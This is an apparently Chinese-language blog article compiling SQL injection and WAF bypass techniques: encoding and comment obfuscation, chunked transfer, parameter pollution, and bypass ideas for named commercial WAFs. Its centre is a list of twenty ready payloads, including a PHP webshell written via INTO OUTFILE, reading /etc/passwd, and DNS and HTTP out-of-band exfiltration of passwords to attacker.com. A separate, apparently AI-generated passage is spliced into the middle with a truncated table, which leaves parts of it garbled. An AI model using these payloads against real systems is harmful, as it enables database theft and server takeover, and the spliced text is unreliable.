SQL注入高级绕过手法汇总 重点

目录

SQL注入高级绕过手法与WAF绕过技术

一、高级SQL注入绕过手法

[1. 编码混淆绕过](#1. 编码混淆绕过)

[2. 利用协议特性](#2. 利用协议特性)

[3. 利用数据库特性](#3. 利用数据库特性)

[4. 混淆与变形](#4. 混淆与变形)

[5. 利用WAF规则缺陷](#5. 利用WAF规则缺陷)

[6. 协议与数据库结合](#6. 协议与数据库结合)

[7. 编码与混淆叠加](#7. 编码与混淆叠加)

[8. 利用WAF性能限制](#8. 利用WAF性能限制)

[9. 利用WAF配置错误](#9. 利用WAF配置错误)

[10. 协议与编码深度结合](#10. 协议与编码深度结合)

二、混淆注入Payload(20个)

三、市面上常见的WAF工具及绕过思路

[1. ModSecurity](#1. ModSecurity)

[2. Cloudflare WAF](#2. Cloudflare WAF)

[3. AWS WAF](#3. AWS WAF)

[4. F5 BIG-IP ASM](#4. F5 BIG-IP ASM)

四、最喜欢的WAF规则及绕过手法

最喜欢的WAF规则

绕过手法

五、总结


SQL注入高级绕过手法与WAF绕过技术

SQL注入攻击已从简单的' OR 1=1演变为结合协议特性、数据库特性、编码混淆等多维攻击的复杂技术。攻击者通过创新Payload,绕过Web应用防火墙(WAF)和传统防火墙的检测。


一、高级SQL注入绕过手法

1. 编码混淆绕过

原理 :通过编码转换(如URL、Unicode、HTML实体)改变Payload形式,绕过WAF对关键字或字符的检测。 方法

  • URL编码'变为%27,空格变为%20

  • Unicode编码'变为%u0027

  • HTML实体'变为'

  • 多重编码 :多次嵌套编码,如%27再编码为%2527示例

  • 原始:' OR 1=1 --

  • 编码后:%27%20OR%201%3D1%20--

  • 多重编码:%25%32%37%20OR%201%3D1 绕过WAF:许多WAF只解码一次或不处理多重编码,导致Payload未被识别。

2. 利用协议特性

原理 :利用HTTP协议特性(如分块传输、参数污染)分散或隐藏Payload。 方法

  • 分块传输编码:将Payload分段发送,WAF可能无法重组。

  • HTTP参数污染 :重复参数(如id=1&id=2),WAF可能只检查首个参数。

  • 非标准HTTP方法 :使用TRACEOPTIONS,避开WAF检测范围。 示例

  • 分块传输:

    复制代码
    POST /vulnerable HTTP/1.1
    Transfer-Encoding: chunked
    ​
    1
    '
    6
     OR 1=1
    0
  • 参数污染:?id=1&id=' OR 1=1 -- 绕过WAF:WAF可能不解析分块数据或忽略重复参数。

3. 利用数据库特性

原理 :利用数据库特有语法或函数,构造WAF未覆盖的Payload。 方法

  • MySQL :用/**/代替空格,或调用CHAR()函数。

  • SQL Server :用EXEC执行动态SQL。

  • Oracle :用UNION ALL替代UNION示例

  • MySQL:id=1/**/UNION/**/SELECT/**/1,2,3--

  • SQL Server:id=1; EXEC('SELECT * FROM users')--

  • Oracle:id=1 UNION ALL SELECT NULL, NULL, NULL FROM dual-- 绕过WAF:WAF规则可能未针对特定数据库优化。

4. 混淆与变形

原理 :通过大小写变化、注释插入或等价函数,改变Payload结构。 方法

  • 大小写混淆SELECT变为SeLeCt

  • 注释插入SELECT变为SEL/**/ECT

  • 等价函数 :用SUBSTRING替代SUBSTR

  • 冗余关键词UNUNIONION替代UNION示例

  • 原始:id=1 UNION SELECT 1,2,3--

  • 变形:id=1 UnIoN/**/SeLeCt/**/1,2,3-- 绕过WAF:变形后的Payload可能不匹配WAF正则规则。

5. 利用WAF规则缺陷

原理 :针对WAF规则盲点,构造未被拦截的Payload。 方法

  • 绕过黑名单 :使用未列入黑名单的函数(如CHAR())。

  • 触发误判 :添加无害逻辑(如AND 1=2),降低威胁评分。 示例id=1 AND 1=2 UNION SELECT 1,2,3-- 绕过WAF:WAF可能误判为无害请求。

6. 协议与数据库结合

原理 :结合HTTP协议和数据库特性,构造复杂Payload。 方法

  • HTTP头注入 :在User-AgentReferer中注入。

  • 存储过程 :调用数据库内置过程。 示例

  • User-Agent: ' OR 1=1 --

  • id=1; CALL malicious_proc()-- 绕过WAF:WAF可能未检测非标准字段或存储过程。

7. 编码与混淆叠加

原理 :结合编码和混淆技术,增加Payload复杂性。 方法

  • 多重编码+注释 :URL编码后插入/**/

  • 数据库函数 :用CHAR()表示字符。 示例id=1 UNION SELECT CHAR(0x31),CHAR(0x32),CHAR(0x33)-- 绕过WAF:复杂Payload超出WAF解析能力。

  • SQL注入是一种严重的安全威胁,攻击者通过注入恶意SQL代码操纵数据库。当前,最新技术如多重编码注入和高级检测方法在实际工作中至关重要。以下按用户需求详细分析多重编码注入和漏洞发现流程。

一、多重编码注入的实际工作流程

多重编码注入通过多次编码Payload,增加复杂性,绕过WAF检测。在实际工作中,流程如下:

二、不同数据库的多重编码支持

不同数据库对编码的支持如下表所示,攻击者需根据目标数据库选择合适编码方式:

数据库 支持的编码方式 多重编码示例 实际应用场景
MySQL URL编码、十六进制(0xhex_string)、CHAR() %2527%20or%201%253D1%2520--,CHAR(39) OR 1=1 -- 登录表单,URL参数,适合WAF绕过
SQL Server 十六进制(0xhex_string)、CHAR() 0x27 or 1=1 --,CHAR(39) OR 1=1 -- 管理后台接口,需抓包测试
Oracle CHR()、TO_CHAR() CHR(39)
PostgreSQL E'\xhex_string'、chr() E'\x27 or 1=1 --' 高级查询功能,适合盲注场景
  • 识别输入点:使用工具如Burp Suite或Fiddler,扫描应用的所有用户输入字段,包括表单、URL参数、Cookie和HTTP头。

  • 构造多重编码Payload

    • 首先URL编码,例如单引号'变为%27,空格变为%20,构造如%27%20OR%201%3D1%20--。

    • 再进行双重编码,例如%27变为%2527,组合成%2527%2520OR%25201%253D1%2520--。

    • 结合数据库函数,如MySQL的CHAR(39) OR 1=1 --,或Oracle的CHR(39)|| ' or 1=1 --'。

  • 测试和观察:发送Payload至目标字段,观察页面是否返回异常数据、登录成功或触发错误信息,确认注入效果。

  • 数据库适配:根据目标数据库选择编码方式。例如,MySQL支持URL和十六进制编码,SQL Server支持CHAR()函数,Oracle用CHR(),PostgreSQL用E'\xhex_string'。需确保Payload与数据库兼容。

  • MySQL:支持广泛,CHAR()函数可动态生成字符,如CHAR(39)表示单引号,适合多重编码绕过。

  • SQL Server:十六进制编码0x27直接表示单引号,CHAR()函数类似MySQL,适合高安全环境。

  • Oracle:CHR()函数需结合字符串连接符||,适合复杂查询场景。

  • PostgreSQL:E'\xhex_string'格式需注意转义,适合盲注和带外注入。

8. 利用WAF性能限制

原理 :通过超长或大量Payload,耗尽WAF资源。 方法

  • 超长Payload:构造数百字符的请求。

  • 高频请求 :触发性能瓶颈。 示例id=1 UNION SELECT 1,2,3...(重复数百次) 绕过WAF:WAF可能在高负载下放行。

9. 利用WAF配置错误

原理 :WAF未启用规则或例外路径可被利用。 方法

  • 探测规则:测试响应推断WAF配置。

  • 例外路径 :针对/admin/*等未防护路径。 示例/admin/?id=1 UNION SELECT 1,2,3-- 绕过WAF:利用配置漏洞。

10. 协议与编码深度结合

原理 :分散Payload至URL、Body、Header,WAF难以完整检测。 方法

  • 分散注入:URL和Body各含部分Payload。

  • 文件上传 :在multipart/form-data中注入。 示例

  • URL:id=1 UNION

  • Body:SELECT 1,2,3-- 绕过WAF:WAF未关联完整Payload。


二、混淆注入Payload(20个)

以下是20个精心设计的Payload,针对最新WAF和防火墙(如Cloudflare、ModSecurity等):

  1. %27%20UNION%20SELECT%201,2,3-- (URL编码)

  2. %u0027%20OR%201=1-- (Unicode编码)

  3. ' OR 1=1 -- (HTML实体编码)

  4. '/**/UNION/**/SELECT/**/1,2,3-- (MySQL注释混淆)

  5. '; EXEC('SELECT * FROM users')-- (SQL Server动态SQL)

  6. UNION ALL SELECT NULL, NULL, NULL FROM dual-- (Oracle特性)

  7. UnIoN SeLeCt 1,2,3-- (大小写混淆)

  8. UNUNIONION SELECT 1,2,3-- (冗余关键词)

  9. User-Agent: ' OR 1=1 -- (HTTP头注入)

  10. %2527%2520OR%25201%3D1%2523 (多重编码,原始:' OR 1=1#

  11. UNION SELECT 1,0x61646D696E-- (十六进制编码,admin

  12. ?id=1&id=' UNION SELECT 1,@@version -- (参数污染)

  13. {"username": {"$ne": ""}, "password": {"$ne": ""}} (NoSQL注入)

  14. ' UNION SELECT 1,LOAD_FILE('/etc/passwd')-- (文件读取)

  15. '; SELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'-- (WebShell写入)

  16. ' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\test')))-- (DNS OOB)

  17. SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT SYS_CONTEXT('USERENV','CURRENT_USER') FROM DUAL)) FROM DUAL; (Oracle HTTP请求)

  18. ' AND ExtractValue(1, CONCAT(0x3a, (SELECT schema_name FROM information_schema.schemata LIMIT 1)))-- (报错注入)

  19. query { user(id: "1' UNION SELECT password FROM users -- ") { id } } (GraphQL注入)

  20. ' ANd/**/1=(sEleCT 1 FRoM/**/users WHERe/**/SUBSTRING(name,1,1)=0x41)-- (复杂混淆)


三、市面上常见的WAF工具及绕过思路

1. ModSecurity

特点 :开源WAF,支持复杂规则。 绕过思路

  • 使用多重编码(如%2527)或MySQL特有注释(如/**/)。

  • 构造未列入黑名单的函数(如CHAR())。

2. Cloudflare WAF

特点 :云端防护,规则更新频繁。 绕过思路

  • 通过CDN节点发送Payload,绕过集中检测。

  • 模拟业务逻辑(如伪装成正常表单提交)。

3. AWS WAF

特点 :与AWS集成,支持自定义规则。 绕过思路

  • 利用未启用SQL注入防护的规则漏洞。

  • 结合AWS服务(如Lambda)触发间接注入。

4. F5 BIG-IP ASM

特点 :企业级WAF,深度检测能力强。 绕过思路

  • 发送超长Payload或分块传输,消耗性能。

  • 利用HTTP非标准特性(如TRACE方法)。


四、最喜欢的WAF规则及绕过手法

最喜欢的WAF规则

  1. SQL注入通用规则 :检测UNION SELECTOR 1=1等关键字。

    • 原因:覆盖广泛,适用于多种场景。
  2. 行为分析规则:监控异常请求频率或模式。

    • 原因:能识别自动化攻击。

绕过手法

  • 通用规则绕过 :使用编码(如%27)、混淆(如/**/)或数据库函数(如CHAR())。

  • 行为分析绕过:模拟正常用户行为,降低请求频率,分散Payload。


五、总结

SQL注入已发展为多维攻击,结合编码混淆、协议特性、数据库特性等技术,挑战WAF防护能力。ModSecurity、Cloudflare、AWS WAF、F5 BIG-IP ASM等工具各有优势,但规则盲点、性能限制及配置漏洞仍可被利用。

防御建议

  • 输入验证:严格过滤用户输入。

  • 参数化查询:避免SQL拼接。

  • 权限控制:限制数据库操作范围。

  • 更新WAF规则:覆盖最新攻击手法。

相关推荐
数据最前线1 分钟前
Doris表设计与分区策略:让海量数据管理更高效
数据库
时光追逐者11 分钟前
MongoDB从入门到实战之MongoDB快速入门(附带学习路线图)
数据库·学习·mongodb
头顶秃成一缕光33 分钟前
Redis的主从模式和哨兵模式
数据库·redis·缓存
AIGC大时代36 分钟前
高效使用DeepSeek对“情境+ 对象 +问题“型课题进行开题!
数据库·人工智能·算法·aigc·智能写作·deepseek
博睿谷IT99_37 分钟前
数据库证书可以选OCP认证吗?
数据库·oracle·开闭原则·ocp认证
乐维_lwops1 小时前
数据库监控 | MongoDB监控全解析
数据库·mongodb·数据库监控
观无1 小时前
Redis安装及入门应用
数据库·redis·缓存
向哆哆1 小时前
Java 安全:如何防止 DDoS 攻击?
java·安全·ddos
我的golang之路果然有问题2 小时前
速成GO访问sql,个人笔记
经验分享·笔记·后端·sql·golang·go·database
柏油2 小时前
MySql InnoDB 事务实现之 undo log 日志
数据库·后端·mysql